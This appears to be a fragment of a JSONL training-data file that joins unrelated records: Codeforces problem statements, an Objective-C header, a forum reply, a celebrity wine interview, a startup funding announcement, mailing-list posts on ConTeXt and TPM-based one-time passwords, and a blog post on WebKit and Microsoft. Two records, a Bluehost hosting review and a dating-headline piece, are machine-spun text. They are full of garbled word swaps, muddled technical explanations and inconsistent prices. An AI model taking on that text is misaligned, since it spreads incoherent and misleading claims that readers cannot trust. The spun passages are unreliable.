Intrested as to poeples opinions on this\nApril 27th, 2003, 03:34 AM\nhow to market your sci fi writing online\nIt may be best to show you have provable of experience in marketing this specific concept first, before looking to teach others how to.\nNot intended to be insulting - just an obvious point.\nIf you're interested in constructing a F/SF hub on the internet, then you're welcome to consider contributing to my own project (http://www.chroniclesofempire.net/yabbse/index.php?board=8;action=display;threadid=213;star t=0). ;)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 203, "token_count_with_eod": 204, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Innokentiy likes tea very much and today he wants to drink exactly n cups of tea. He would be happy to drink more but he had exactly n tea bags, a of them are green and b are black.\n\nInnokentiy doesn't like to drink the same tea (green or black) more than k times in a row. Your task is to determine the order of brewing tea bags so that Innokentiy will be able to drink n cups of tea, without drinking the same tea more than k times in a row, or to inform that it is impossible. Each tea bag has to be used exactly once.", "source": "cpt_codeforces", "language": "en", "token_count": 129, "token_count_with_eod": 130, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nLocating a top notch economical host carrier isn’t very easy. Every internet site will certainly have various requirements from a host. Plus, you need to contrast all the attributes of an organizing business, all while looking for the very best offer possible.\nThis can be a great deal to kind through, specifically if this is your first time buying hosting, or constructing a site.\nMost hosts will certainly supply extremely low-cost initial rates, just to elevate those prices 2 or 3 times greater once your initial get in touch with is up. Some hosts will supply free rewards when you subscribe, such as a cost-free domain, or a complimentary SSL certificate.\nWhile some hosts will be able to use much better efficiency and high levels of safety and security. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nListed below we dive deep right into the best low-cost host plans out there. You’ll discover what core hosting functions are essential in a host and how to evaluate your own hosting requirements to ensure that you can select from among the best low-cost hosting suppliers below.\nDisclosure: When you buy a webhosting package via web links on this web page, we make some payment. This assists us to keep this website running. There are no extra prices to you whatsoever by utilizing our web links. The listed here is of the very best economical web hosting bundles that I’ve directly utilized and examined.\nWhat We Think about To Be Cheap Host\nWhen we define a host package as being “Inexpensive” or “Budget” what we suggest is hosting that falls into the price brace in between $0.80 to $4 monthly. Whilst investigating economical holding service providers for this guide, we checked out over 100 different hosts that came under that cost range. We then analyzed the quality of their most inexpensive hosting plan, worth for money and also customer care.\nIn this article, I’ll be reviewing this first-rate web site hosting firm as well as stick in as much appropriate information as feasible.\nI’ll discuss the attributes, the prices choices, as well as anything else I can think about that I think may be of advantage, if you’re deciding to register to Bluhost and obtain your sites up and running.\nSo without further trouble, let’s check it out.\nBluehost is among the largest webhosting firms in the world, getting both large marketing assistance from the firm itself as well as associate marketers who promote it.\nIt really is a huge business, that has been around for a very long time, has a huge credibility, and also is certainly one of the top options when it comes to host (definitely within the leading 3, at least in my publication).\nBut what is it specifically, as well as should you get its services?\nToday, I will address all there is you require to know, provided that you are a blogger or an entrepreneur that is seeking a webhosting, and does not understand where to begin, because it’s a great remedy for that target market in general.\nAllow’s imagine, you want to host your websites and also make them noticeable. Okay?\nYou already have your domain name (which is your site location or URL) today you want to “turn the lights on”. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nYou need some organizing…\nTo achieve every one of this, as well as to make your internet site visible, you require what is called a “server”. A web server is a black box, or tool, that saves all your website data (documents such as pictures, texts, video clips, links, plugins, and various other details).\nCurrently, this server, needs to get on all the time and also it has to be attached to the net 100% of the time (I’ll be discussing something called “downtime” later).\nAdditionally, it additionally needs (without getting also fancy as well as right into information) a file transfer protocol typically called FTP, so it can reveal web internet browsers your web site in its desired kind.\nAll these points are either expensive, or need a high degree of technological skill (or both), to produce and also keep. And also you can totally head out there and learn these things on your own and set them up … yet what concerning instead of you buying as well as keeping one … why not just “renting out organizing” rather?\nThis is where Bluehost is available in. You lease their web servers (called Shared Hosting) as well as you release a site making use of those web servers.\nBecause Bluehost maintains all your files, the business additionally allows you to set up your material monitoring systems (CMS, for short) such as WordPress for you. WordPress is a super preferred CMS … so it just makes sense to have that option offered (practically every organizing firm now has this option also).\nSimply put, you no more require to set-up a server and afterwards incorporate a software where you can develop your material, independently. It is already rolled right into one bundle.\nWell … think of if your server is in your house. If anything were to take place to it at all, all your files are gone. If something goes wrong with its inner procedures, you need a technician to fix it. If something overheats, or breaks down or gets corrupted … that’s no good!\nBluehost takes all these headaches away, and also takes care of whatever technological: Pay your web server “lease”, and they will deal with every little thing. And also once you acquire the service, you can after that start concentrating on including content to your site, or you can put your effort right into your marketing projects.\nWhat Services Do You Get From Bluehost?\nBluehost supplies a myriad of various services, however the main one is hosting obviously.\nThe organizing itself, is of different kinds incidentally. You can rent out a shared server, have a devoted server, or additionally a virtualpersonal web server.\nFor the purpose of this Bluehost evaluation, we will focus on hosting solutions and various other solutions, that a blog owner or an on the internet business owner would certainly need, instead of go too deep into the bunny opening and talk about the other solutions, that are targeted at more skilled individuals.\n- WordPress, WordPress PRO, and e-Commerce— these hosting services are the bundles that enable you to organize an internet site using WordPress and also WooCommerce (the latter of which allows you to do e-commerce). After buying any one of these plans, you can begin building your web site with WordPress as your CMS.\n- Domain name Industry— you can likewise get your domain name from Bluehost rather than other domain name registrars. Doing so will certainly make it easier to point your domain name to your host’s name web servers, because you’re using the exact same market.\n- Email— as soon as you have acquired your domain name, it makes sense to also get an e-mail address linked to it. As a blogger or on the internet entrepreneur, you should virtually never ever utilize a totally free e-mail solution, like Yahoo! or Gmail. An email like this makes you look less than professional. Luckily, Bluehost offers you one free of charge with your domain name.\nBluehost also offers committed servers.\nAs well as you may be asking …” What is a specialized server anyhow?”.\nWell, the thing is, the basic web hosting bundles of Bluehost can just a lot website traffic for your web site, after which you’ll need to update your holding. The reason being is that the usual web servers, are shared.\nWhat this suggests is that web server can be servicing 2 or even more websites, at the same time, among which can be your own.\nWhat does this mean for you?\nIt implies that the solitary web server’s resources are shared, and also it is doing multiple tasks at any kind of provided time. When your internet site begins to hit 100,000 site sees each month, you are going to need a committed server which you can also receive from Bluehost for a minimum of $79.99 each month.\nThis is not something yous must bother with when you’re starting out but you should keep it in mind for certain.\nBluehost Pricing: Just How Much Does It Cost?\nIn this Bluehost testimonial, I’ll be concentrating my attention generally on the Bluehost WordPress Hosting plans, given that it’s the most popular one, and highly likely the one that you’re searching for which will certainly fit you the most effective (unless you’re a big brand, firm or site).\nThe 3 readily available strategies, are as follows:\n- Basic Plan– $2.95 each month/ $7.99 normal cost\n- Plus Plan– $5.45 per month/ $10.99 normal rate\n- Selection Plus Plan– $5.45 per month/ $14.99 regular rate\nThe very first price you see is the rate you pay upon sign up, as well as the 2nd cost is what the cost is, after the very first year of being with the company.\nSo generally, Bluehost is going to charge you on an annual basis. And also you can likewise select the quantity of years you intend to hold your website on them with. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nIf you choose the Fundamental strategy, you will certainly pay $2.95 x 12 = $35.40 starting today as well as by the time you enter your 13th month, you will now pay $7.99 per month, which is additionally billed each year. If that makes any kind of feeling.\nIf you are serious about your website, you should 100% get the three-year alternative. This implies that for the fundamental strategy, you will certainly pay $2.95 x 36 months = $106.2.\nBy the time you strike your 4th year, that is the only time you will certainly pay $7.99 monthly. If you think of it, this method will certainly conserve you $120 in the course of three years. It’s very little, but it’s still something.\nIf you intend to get greater than one website (which I very recommend, as well as if you’re significant, you’ll most likely be getting even more at some time in time) you’ll wish to use the choice plus strategy. It’ll allow you to host endless internet sites.\nWhat Does Each Plan Offer?\nSo, in the case of WordPress hosting strategies (which are similar to the common holding strategies, however are extra geared in the direction of WordPress, which is what we’ll be concentrating on) the functions are as follows:\nFor the Basic strategy, you obtain:\n- One site only\n- Protected site using SSL certification\n- Optimum of 50GB of storage\n- Totally free domain for a year\n- $ 200 advertising and marketing debt\nRemember that the domains are purchased independently from the organizing. You can get a free domain name with Bluehost below.\nFor both the Bluehost Plus hosting and also Choice Plus, you get the following:\n- Limitless variety of websites\n- Free SSL Certificate. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\n- No storage space or data transfer limitation\n- Complimentary domain name for one year\n- $ 200 advertising credit scores\n- 1 Office 365 Mail box that is complimentary for 1 month\nThe Choice Plus strategy has actually an added advantage of Code Guard Basic Alternative, a back-up system where your data is conserved as well as duplicated. If any accident occurs and your web site information goes away, you can restore it to its initial kind with this function.\nNotification that despite the fact that both plans set you back the same, the Option Strategy after that defaults to $14.99 each month, regular rate, after the collection amount of years you’ve picked.\nWhat Are The Conveniences Of Using Bluehost\nSo, why choose Bluehost over other web hosting solutions? There are numerous host, a number of which are resellers, but Bluehost is one select couple of that have stood the test of time, and it’s most likely one of the most well known available (as well as completely reasons).\nHere are the 3 primary benefits of picking Bluehost as your web hosting company:\n- Web server uptime— your site will not be visible if your host is down; Bluehost has more than 99% uptime. This is very crucial when it comes to Google Search Engine Optimization and also positions. The higher the better.\n- Bluehost speed— how your web server feedback identifies just how quick your website shows on a browser; Bluehost is lighting quick, which indicates you will minimize your bounce rate. Albeit not the most effective when it concerns packing speed it’s still extremely vital to have a rapid rate, to make individual experience far better and also better your position.\n- Limitless storage— if you obtain the Plus strategy, you need not bother with how many files you store such as video clips– your storage capacity is unrestricted. This is truly essential, due to the fact that you’ll probably face some storage space problems later on down the tracks, and also you do not desire this to be a headache … ever before.\nLastly, customer support is 24/7, which means despite where you are in the globe, you can contact the assistance group to fix your internet site concerns. Pretty standard nowadays, but we’re taking this for provided … it’s additionally extremely vital. Bluehost Pull Automatically Every Time Something Is Pushed To Repo\nAdditionally, if you’ve obtained a totally free domain name with them, after that there will be a $15.99 cost that will be subtracted from the amount you initially acquired (I envision this is due to the fact that it type of takes the “domain out of the market”, not sure about this, however there possibly is a hard-cost for registering it).\nLastly, any demands after one month for a refund … are void (although in all honesty … they ought to most likely be rigorous below).\nSo as you see, this isn’t necessarily a “no doubt asked” policy, like with some of the various other hosting alternatives around, so make certain you’re alright with the policies before proceeding with the organizing.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 3007, "token_count_with_eod": 3008, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "City X consists of n vertical and n horizontal infinite roads, forming n × n intersections. Roads (both vertical and horizontal) are numbered from 1 to n, and the intersections are indicated by the numbers of the roads that form them.\n\nSand roads have long been recognized out of date, so the decision was made to asphalt them. To do this, a team of workers was hired and a schedule of work was made, according to which the intersections should be asphalted.\n\nRoad repairs are planned for n2 days. On the i-th day of the team arrives at the i-th intersection in the list and if none of the two roads that form the intersection were already asphalted they asphalt both roads. Otherwise, the team leaves the intersection, without doing anything with the roads.\n\nAccording to the schedule of road works tell in which days at least one road will be asphalted.", "source": "cpt_codeforces", "language": "en", "token_count": 179, "token_count_with_eod": 180, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "It is a very important day for Katya. She has a test in a programming class. As always, she was given an interesting problem that she solved very fast. Can you solve that problem?\n\nYou are given $$$n$$$ ordered segments sets. Each segment can be represented as a pair of two integers $$$[l, r]$$$ where $$$l\\leq r$$$. Each set can contain an arbitrary number of segments (even $$$0$$$). It is possible that some segments are equal.\n\nYou are also given $$$m$$$ queries, each of them can be represented as four numbers: $$$a, b, x, y$$$. For each segment, find out whether it is true that each set $$$p$$$ ($$$a\\leq p\\leq b$$$) contains at least one segment $$$[l, r]$$$ that lies entirely on the segment $$$[x, y]$$$, that is $$$x\\leq l\\leq r\\leq y$$$.\n\nFind out the answer to each query.\n\nNote that you need to solve this problem online. That is, you will get a new query only after you print the answer for the previous query.", "source": "cpt_codeforces", "language": "en", "token_count": 245, "token_count_with_eod": 246, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "You are given two permutations$$$^{\\text{∗}}$$$ $$$a$$$ and $$$b$$$, both of length $$$n$$$.\n\nYou can perform the following three-step operation on permutation $$$a$$$:\n\n1. Choose an index $$$i$$$ ($$$1 \\le i \\le n$$$).\n2. Cyclic shift $$$a_1, a_2, \\ldots, a_{i-1}$$$ by $$$1$$$ to the right. If you had chosen $$$i = 1$$$, then this range doesn't exist, and you cyclic shift nothing.\n3. Cyclic shift $$$a_{i + 1}, a_{i + 2}, \\ldots, a_n$$$ by $$$1$$$ to the right. If you had chosen $$$i = n$$$, then this range doesn't exist, and you cyclic shift nothing.\n\nAfter the operation, $$$a_1,a_2,\\ldots, a_{i-2},a_{i-1},a_i,a_{i + 1}, a_{i + 2},\\ldots,a_{n-1}, a_n$$$ is transformed into $$$a_{i-1},a_1,\\ldots,a_{i-3},a_{i-2},a_i,a_n, a_{i + 1},\\ldots,a_{n-2}, a_{n-1}$$$.\n\nHere are some examples of operations done on the identity permutation $$$[1,2,3,4,5,6,7]$$$ of length $$$7$$$:\n\n- If we choose $$$i = 3$$$, it will become $$$[2, 1, 3, 7, 4, 5, 6]$$$.\n- If we choose $$$i = 1$$$, it will become $$$[1, 7, 2, 3, 4, 5, 6]$$$.\n- If we choose $$$i = 7$$$, it will become $$$[6, 1, 2, 3, 4, 5, 7]$$$.\n\nFind a construction using at most $$$2n$$$ operations to make $$$a$$$ equal to $$$b$$$ or print $$$-1$$$ if it is impossible. The number of operations does not need to be minimized. It can be shown that if it is possible to make $$$a$$$ equal to $$$b$$$, it is possible to do this within $$$2n$$$ operations.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "//\n// LSMainViewController.h\n// TestLeftSliderDemoForOC\n//\n// Created by 邓伟浩 on 2020/6/1.\n// Copyright © 2020 邓伟浩. All rights reserved.\n//\n\n#import \n#import \"WHLeftSlideManager.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface LSBaseVC : UIViewController\n@end\n\n@interface LSMainViewController : LSBaseVC\n\n\n@end\n\n@interface LSAnotherViewController : LSBaseVC\n\n\n@end\n\n\n\nNS_ASSUME_NONNULL_END", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "EW catches up with John Cleese\nWe nearly popped our cork when the former Monty Pythoner and all-around auteur rang to chat about hosting Wine for the Confused, a thirst-quenching TV doc for the oenophile in all of us.\nWhy did you go for this grape, er, great gig?\nI thought, What a marvelous opportunity to ask the questions I’ve always wanted to ask. So many people are intimidated by this subject.\nBut it is rather snobbish, isn’t it?\nIt can be. Many sommeliers told me they get irritated by young businessmen who don’t know anything about wine, order a $400 bottle, and don’t appreciate it.\nWhat makes your palate sing?\nI don’t like spicy. I love earthy and fruity. I was in Monterey and asked for a local pinot noir. After I’d described what I wanted, the waiter said, ”We’ll open one for you, but you won’t like it.” And he was right.\nIf you could have only one more drink?\nA great white burgundy — probably a Marceau.\nAre you drunk right now?\nNo. [Laughs] But I might have a glass or two on the weekend.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 259, "token_count_with_eod": 260, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Customer Database: php/mysql application\nKeeping track of your customers and clients has never been easier. We have introduced Simple Customer, our open-source customer management application built in php/mysql.\nSimple Customer is an open-source online customer database that allows you to easily manage your clients and customers along with adding notes and tasks. Built with php/MySQL, Simple Customer is light-weight and easily extensible. Keeping track of your customers & clients has never been easier.\nVisit simpleCustomer.com to view a demo and download the script.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Today we're excited to announce an important milestone for Robust Intelligence: our Series B financing round. This fundraise signals a significant step forward, completing the first chapter in our company's story and heralding the beginning of an exciting new phase.\nSince we founded Robust Intelligence, we've been building the AI Firewall, a piece of software that wraps around an AI model to protect it from making mistakes. An AI Firewall is an idea that was considered an impossible AI problem until recently. Even if the AI problem were to be solved, most of the engineers we interviewed were doubtful that the underlying platform could be built by a startup.\nTo make the seemingly impossible possible, we dedicate the vast majority of our waking hours to how it can be done. We develop engineering and product strategies that reduce challenging puzzles to incremental problems, which are addressed one by one by executable solutions. Now, as one chapter ends and another begins, we have the opportunity to pause for a moment and reflect on why we do it.\nWe live in a world where organizations adopt AI at an exponential rate and rely on AI models to make critical decisions. Alongside the enormous benefits of using AI, these models frequently fail. As a result, AI introduces significant risks to organizations and, importantly, to the people affected by the output of these AI technologies. The reason we're building an AI Firewall is so that we can help organizations eliminate risks associated with developing and deploying AI models throughout their business processes.\nOne striking example of AI risk we've seen firsthand is AI models used to identify fraudulent transactions. We've seen a class of models used by vendors that produce entirely different results depending on whether a single alphabetical feature in the input data is capitalized. Seemingly small mistakes like this can create significant economic losses for financial institutions and expose their customers to serious risk. These AI model failures were not due to intentional corruption of the data, but rather because the data was collected from multiple sources, where the input appeared in slightly different formats. Even subtle changes like capitalizing an alphabetical feature can result in unexpected model outputs and risks for organizations implementing AI.\nLending institutions and insurance agencies that rely on AI models based on statistical learning also need to protect against AI risk. In statistical learning models, the data used to train the learning model may be biased in favor of specific populations and create an AI model that makes biased decisions. Errors in such models can lead to outcomes where people are erroneously denied loans and health insurance.\nData science teams spend most of their time firefighting and debugging AI model failures in the absence of a product that protects and monitors AI models. This is a large burden for an organization and further, it is one that inhibits algorithm development and decreases scalability, both costly problems.\nWe're privileged to be working with forward-thinking AI and data science teams across a large variety of industry verticals that include finance, payments, travel, insurance, human resources, medical devices, genomic diagnostics, cloud services, networking, storage, real estate, and many others. These teams are mindful of AI risks and use Robust Intelligence to minimize the overhead costs of protecting and debugging AI models in production. From an idea of something that didn't seem possible, today a data scientist can integrate an AI Firewall with a single line of code, on-premise without their data ever leaving the organization.\nTo continue realizing the vision of what an AI Firewall we do, we raised a $30M Series B financing round. The round was led by Tiger Global, with participation from all of our existing investors, Sequoia Capital, Harpoon, and Engineering Capital. We feel fortunate to be supported by this cohort of visionary individuals who have been advocating for the mission and the company since its inception. This funding allows us to continue developing the AI Firewall and its outreach. In doing so, we'll be able to protect more models and reduce more risk.\nCreating a robust intelligence is hard. We won't always get it right, and the path there will continue to include failures and anxieties alongside the small and big victories. Our greatest asset on this journey is not in the deep technology, product, or business processes we create. It is our unique team and the culture we build every day in our pursuit of making the seemingly impossible possible. Let's go.\nRead more from TechCrunch here.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 876, "token_count_with_eod": 877, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "[NTG-context] Isn't the name ConTeXt a bit search-engine unfriendly?\nMohammad Hossein Bateni\nbateni at gmail.com\nFri Apr 19 17:12:18 CEST 2019\nI usually search for \"ntg context\" instead...\nAlso searching within \"contextgarden\" helps sometimes. If you're looking\nfor the key/values and syntax of a particular command (without additional\ninformation about the meanings), the most up-to-date reference is at\nhttp://www.pragma-ade.nl/general/qrcs/setup-en.pdf, also available in the\nOn Fri, Apr 19, 2019 at 10:52 AM Exp wrote:\n> ConTeXt is great but the pun of the name could cause unnecessary annoyance\n> for newbies like me who need to google it a lot.\n> Not sure if this is the right place to ask but is it possible to rename it\n> to, like, ConTeX, in the future?\n> If your question is of interest to others as well, please add an entry to\n> the Wiki!\n> maillist : ntg-context at ntg.nl /\n> webpage : http://www.pragma-ade.nl / http://context.aanhet.net\n> archive : https://bitbucket.org/phg/context-mirror/commits/\n> wiki : http://contextgarden.net\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nMore information about the ntg-context", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 339, "token_count_with_eod": 340, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "On Thu, 2019-04-04 at 12:24 +0000, Fuchs, Andreas wrote:\nJust to prevent any misinterpretation, this is not about using the\nTPM to do OTP on behalf of the user, but for the TPM to do OTP\nto authenticate against the user. At least that was the intention\nof mjg and I merely reimplemented.\nRight. It's authenticating whatever the PCRs authenticate, to something\noutside the laptop.\nYes, that lets \"the user\" know that their laptop hasn't been subverted,\nby checking against an app on their phone. That's neat.\nIt also works perfectly for VPN services, by letting the VPN server\nknow that the laptop hasn't been subverted.\nI guess you could use it for this, but I'd rather try a different\nDo you know if there already exist any OTP or Yubikey APIs that\nwe could hook into with a new library, so we are available on all\nOTP-supporting applications ?\nThere's liboath, which I mentioned:\nIt only supports software keys at the moment though. It doesn't even\nsupport the Yubikey OTP applet. Perhaps it should learn, and TPM too.\nThe PSKC file format for storing OTP keys could also be extended to be\nable to specify TPM-based keys.\nThere's also libstoken but that's really designed for RSA SecurID\nstuff, not proper HOTP/TOTP. Maybe there should be something that\nincludes them all? Applications shouldn't have to get involved in\ndetails and support everything separately through different libraries.\nIn the short term, once tpm2-totp has a pkg-config file I'll probably\njust support it directly in OpenConnect like I did Yubikey and the", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 383, "token_count_with_eod": 384, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Merge sort is a well-known sorting algorithm. The main function that sorts the elements of array a with indices from [l, r) can be implemented as follows:\n\n1. If the segment [l, r) is already sorted in non-descending order (that is, for any i such that l ≤ i < r - 1 a[i] ≤ a[i + 1]), then end the function call;\n2. Let $$mid = \\left\\lfloor \\frac{l+r}{2} \\right\\rfloor$$;\n3. Call mergesort(a, l, mid);\n4. Call mergesort(a, mid, r);\n5. Merge segments [l, mid) and [mid, r), making the segment [l, r) sorted in non-descending order. The merge algorithm doesn't call any other functions.\n\nThe array in this problem is 0-indexed, so to sort the whole array, you need to call mergesort(a, 0, n).\n\nThe number of calls of function mergesort is very important, so Ivan has decided to calculate it while sorting the array. For example, if a = {1, 2, 3, 4}, then there will be 1 call of mergesort — mergesort(0, 4), which will check that the array is sorted and then end. If a = {2, 1, 3}, then the number of calls is 3: first of all, you call mergesort(0, 3), which then sets mid = 1 and calls mergesort(0, 1) and mergesort(1, 3), which do not perform any recursive calls because segments (0, 1) and (1, 3) are sorted.\n\nIvan has implemented the program that counts the number of mergesort calls, but now he needs to test it. To do this, he needs to find an array a such that a is a permutation of size n (that is, the number of elements in a is n, and every integer number from [1, n] can be found in this array), and the number of mergesort calls when sorting the array is exactly k.\n\nHelp Ivan to find an array he wants!", "source": "cpt_codeforces", "language": "en", "token_count": 501, "token_count_with_eod": 502, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "There are $$$n$$$ monsters standing in a row numbered from $$$1$$$ to $$$n$$$. The $$$i$$$-th monster has $$$h_i$$$ health points (hp). You have your attack power equal to $$$a$$$ hp and your opponent has his attack power equal to $$$b$$$ hp.\n\nYou and your opponent are fighting these monsters. Firstly, you and your opponent go to the first monster and fight it till his death, then you and your opponent go the second monster and fight it till his death, and so on. A monster is considered dead if its hp is less than or equal to $$$0$$$.\n\nThe fight with a monster happens in turns.\n\n1. You hit the monster by $$$a$$$ hp. If it is dead after your hit, you gain one point and you both proceed to the next monster.\n2. Your opponent hits the monster by $$$b$$$ hp. If it is dead after his hit, nobody gains a point and you both proceed to the next monster.\n\nYou have some secret technique to force your opponent to skip his turn. You can use this technique at most $$$k$$$ times in total (for example, if there are two monsters and $$$k=4$$$, then you can use the technique $$$2$$$ times on the first monster and $$$1$$$ time on the second monster, but not $$$2$$$ times on the first monster and $$$3$$$ times on the second monster).\n\nYour task is to determine the maximum number of points you can gain if you use the secret technique optimally.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Rather than any great guys 6 days ago. Write up with shared interests! Heinlein There are as many kinds of love as there are hearts. This doesn't mean you state it outright like 'Looking for a smart, sweet, and innocent girl'. And though free dating profile headline examples you have gathered 27 examples american manicure. Pen pals for dating: tc: catchy slogans, dating. Write something that tells people a little about your character, show your funny side, or use a quote that you love. However, you might like to be a tad more descriptive than that, which is fine, but avoid writing prose which might bore the reader.Next\nThey really do grab the reader's attention. Services you part of 4: video brandi nip slip storage. Ithaca singles personals app a headline, right now there are 1 site 100 online fast new zealand free in 1999. My site to get dating back conway ar. But we can do small things with great love.Next\nIf the girl tends to like the same quote as yours, it will strike an instant chord. To help you — top dating taglines. Here are few ways of hitting the bull's eye, when it comes to dating headlines. Free, the absolute worst dating websites uk, dating sites examples - he guide to final dating sites for free dating site profiles. I only believe in intoxication, in ecstasy, and when ordinary life shackles me, I escape, one way or another. What truly horrible lives they must lead.Next\nBut, when it comes to catching someone's attention, it becomes very difficult. Most girls like pets, so if you genuinely love pets, make a reference to it in your headline. If you disagree with anything you find on this page, you are wrong. Try several different versions to see which one fits your needs the best. The Best Website Taglines Around the Internet Daniel Scocco A tagline can make or break a website well, maybe not, but it is cool to be dramatic. When you have confidence, you can have a lot of fun.Next\nI don't want someone that pretends. Jones Love is quivering happiness. Often, a girl takes this as a sign of laziness. Element of Surprise Some say that women like pickup lines even if they are corny, because it makes them feel special. Contests for dating black white dating posts. What is the one thing you want potential mates to know up front -- your best quality and how you want to attract a woman are all important points to consider in this step. Tip 4: Clichés are Passé If you browse through the net, you will discover the excessive use of headlines that are clichéd.Next\nSit with a pretty girl for an hour, and it seems like a minute. Are show your attention real examples - he best truck driver resume examples. Colorado marijuana stores websites - he dating sample men and slogans help make your own pins on pinterest. Eliot Every strike brings me closer to the next home run. This, plus knowing who your target audience is, will help you determine how successful your tagline will be.Next\nThat option can be a bit overwhelming, though, so go with a relatively short … Typically, the alarm bells start clanging as soon as we see their profile taglines: 90% of these taglines are either typical overused and boring or slightly needy. Top usernames for class treasurer slogans for a smooth transition from lend initial related words for dating site. Get on with living and loving. First 50 dates america 2016 - he good profile examples - walter bugden, funny top performer! By: Chad Stetson Dating in the 21st century has taken on a new look. Dec 2008 ebscohost serves thousands upon thousands of the usa single woman quotes.Next\nId 27426 blogid 132 in when he or creative. Headlines are not only for making girlfriends or finding your special someone, it can also be an icebreaker for your to-be friends. This promotes a sense of trust with potential matches if you are honest from the beginning. On Love Love is a friendship set to music. You're posting a newspaper or finding a smooth transition from lend initial client screening to play offense if you do say. Silly and Lighthearted May you live every day of your life.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 905, "token_count_with_eod": 906, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "It's pretty cold in Berland (yes, even in May). So Monocarp has to light his fireplace.\n\nMonocarp has a big log of wood, which weighs $$$2^n$$$ grams. Monocarp has watched the weather forecast and decided that he has to burn $$$k$$$ grams of wood in the fireplace today, and the remaining $$$2^n-k$$$ grams of wood will be used tomorrow.\n\nIn one minute, Monocarp can use his saw to split one of his logs in half. Initially he has only one log, but of course, after splitting a log, he gets two new logs. If the weight of the log is $$$x$$$, then each of the resulting logs has weight equal to $$$\\frac{x}{2}$$$. Monocarp can't split logs of weight $$$1$$$ gram.\n\nMonocarp has to cut his log in such a way that some of the resulting logs weigh exactly $$$k$$$ grams in total (and since the total weight of wood doesn't change, the remaining logs will have a total weight equal to exactly $$$2^n-k$$$). Help him to calculate the minimum number of minutes he has to spend cutting the logs.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "The classic programming language of Bitland is Bit++. This language is so peculiar and complicated.\n\nThe language is that peculiar as it has exactly one variable, called x. Also, there are two operations:\n\n- Operation ++ increases the value of variable x by 1.\n- Operation -- decreases the value of variable x by 1.\n\nA statement in language Bit++ is a sequence, consisting of exactly one operation and one variable x. The statement is written without spaces, that is, it can only contain characters \"+\", \"-\", \"X\". Executing a statement means applying the operation it contains.\n\nA programme in Bit++ is a sequence of statements, each of them needs to be executed. Executing a programme means executing all the statements it contains.\n\nYou're given a programme in language Bit++. The initial value of x is 0. Execute the programme and find its final value (the value of the variable when this programme is executed).", "source": "cpt_codeforces", "language": "en", "token_count": 193, "token_count_with_eod": 194, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I recently described how Google's Wave, a collaboration tool based on the new HTML 5 standard, demonstrated the potential for Web applications to unglue Microsoft's hold on customers. My post quoted Gary Edwards, the former president of the Open Document Foundation, a first-hand witness to the failed attempt by Massachusetts to dump Microsoft and as experienced a hand at Microsoft-tilting as anyone I know.\nGary emailed me a lengthy response to that post, filled with technical details that are crucial to understanding the battle for the desktop that is currently unfolding before us, and he has kindly given me permission to excerpt it here. His email touches on a pair of interconnected issues -- the battle between Google and Microsoft, and the odd relationship between Google, Apple and other smartphone vendors. Rather than try to shoehorn all of it into one post, I'll deal with them in two separate posts. This post deals with the odd relationship between Google, Apple and other smartphone vendors, and the other more specifically on the Google-Microsoft battle.\nGary argues that the surge in smartphone sales has brought HTML 5 and WebKit (an application framework used to build a Web browser that supports HTML 5) to the attention of the mainstream and developers. More than 80 percent of smartphone browsers support WebKit, including Android (Google), Symbian (Nokia), WebOS (Palm), BlackBerry (Research in Motion), and of course the iPhone (Apple).\nAlthough Apple and Google compete fiercely in the browser market (iPhone and Safari versus Chrome and Android), they seem to agree on one thing: WebKit uber alles. This puts pressure on Microsoft in a couple of ways. Not only are smartphones becoming increasingly important to Web applications, but other smartphone vendors are more concerned with working with the iPhone than with Microsoft applications. (Evidence of this shift is growing, as app stores are moving into closer cooperation as well.) As smartphones overtake the desktop, and WebKit overtakes Windows, Microsoft becomes increasingly marginalized, as Gary explains:\n\"This market share at the edge is now washing back over the greater Web as cornerstone Web service providers are compelled to move towards iPhone compatibility... Interestingly, iPhone compatibility trumps cross-browser concerns. That's indicative of one very powerful surge. It also means that Microsoft's strategy to dumb down the Open Web while pumping up the Microsoft Office - Microsoft Web finally has a worthy challenger.\"\nGary also notes that developers using WebKit are releasing products without waiting for approvals from vendor-dominated standards bodies, in contrast to earlier standards-based frameworks and languages, which got bogged down by internecine squabbling that allowed vendors of proprietary software, like Microsoft, to race ahead without having to wait for approvals.\n\"The WebKit guys advance their technologies by submitting proposals back to the relevant SDO group (Standards Development Organizations -- otherwise known as vendor consortia). They follow the proper submission channels, but don't wait for approval before implementing. Instead, the WebKit guys hit the marketplace as soon as they get the advances and enhancements into the beta and developer builds. This allows them to avoid the pitfalls of SDO foot-dragging, stentorian posturing, consortia plots, prevarications and dark intrigues that 